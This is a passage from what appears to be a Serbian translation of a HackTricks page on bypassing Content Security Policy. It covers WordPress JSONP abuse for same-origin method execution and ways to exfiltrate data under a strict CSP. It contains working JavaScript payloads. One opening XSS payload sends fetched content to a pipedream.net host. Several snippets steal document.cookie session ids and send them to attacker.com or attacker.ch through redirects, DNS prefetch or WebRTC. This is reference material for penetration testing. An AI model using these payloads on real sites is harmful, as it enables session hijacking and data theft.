a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) u krajnjoj tački stranice da zloupotrebi druge krajnje tačke iste domene. To se postiže učitavanjem ranjive krajnje tačke sa napadačke stranice, a zatim osvežavanjem napadačke stranice na pravu krajnju tačku u istoj domeni koju želite da zloupotrebite. Na ovaj način ranjiva krajnja tačka može koristiti opener objekat u payload-u da pristupi DOM-u prave krajnje tačke za zloupotrebu. Za više informacija pogledajte:

SOME - Same Origin Method Execution

Pored toga, wordpress ima JSONP krajnju tačku u /wp-json/wp/v2/users/1?_jsonp=data koja će odraziti podatke poslati u izlazu (sa ograničenjem samo na slova, brojeve i tačke).

Napadač može zloupotrebiti tu krajnju tačku da generiše SOME napad protiv WordPress-a i ugradi ga unutar <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> napominjemo da će ovaj script biti učitan jer je dozvoljen od 'self'. Pored toga, i zato što je WordPress instaliran, napadač može zloupotrebiti SOME napad kroz ranjivu callback krajnju tačku koja zaobilazi CSP da bi dala više privilegija korisniku, instalirao novi dodatak... Za više informacija o tome kako izvesti ovaj napad pogledajte https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

Ako postoji strogi CSP koji vam ne dozvoljava da interagujete sa spoljnim serverima, postoji nekoliko stvari koje uvek možete uraditi da izvučete informacije.

Location

Možete jednostavno ažurirati lokaciju da pošaljete tajne informacije na napadačev server:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Možete preusmeriti injektovanjem meta taga (ovo je samo preusmeravanje, ovo neće procuriti sadržaj)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Da bi učitali stranice brže, pregledači će unapred rešavati imena hostova u IP adrese i keširati ih za kasniju upotrebu. Možete naterati pregledač da unapred reši ime hosta sa: <link rel="dns-prefetch" href="something.com">

Možete zloupotrebiti ovo ponašanje da izvršite eksfiltraciju osetljivih informacija putem DNS zahteva:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Još jedan način:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Da bi se izbeglo da se ovo desi, server može poslati HTTP zaglavlje:

X-DNS-Prefetch-Control: off

Очигледно, ова техника не ради у безглавим прегледачима (ботовима)

WebRTC

На неколико страница можете прочитати да WebRTC не проверава connect-src политику CSP-а.

У ствари, можете leak информације користећи DNS захтев. Погледајте овај код:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Još jedna opcija:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Proveravanje CSP politika online

Automatsko kreiranje CSP

https://csper.io/docs/generating-content-security-policy

Reference

Pridružite se HackenProof Discord serveru da komunicirate sa iskusnim hakerima i lovcima na greške!

Hacking Insights Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o hakovanju u realnom vremenu Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Najnovija obaveštenja Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi

Pridružite nam se na Discord i počnite da sarađujete sa vrhunskim hakerima danas!

Podrška HackTricks

Last updated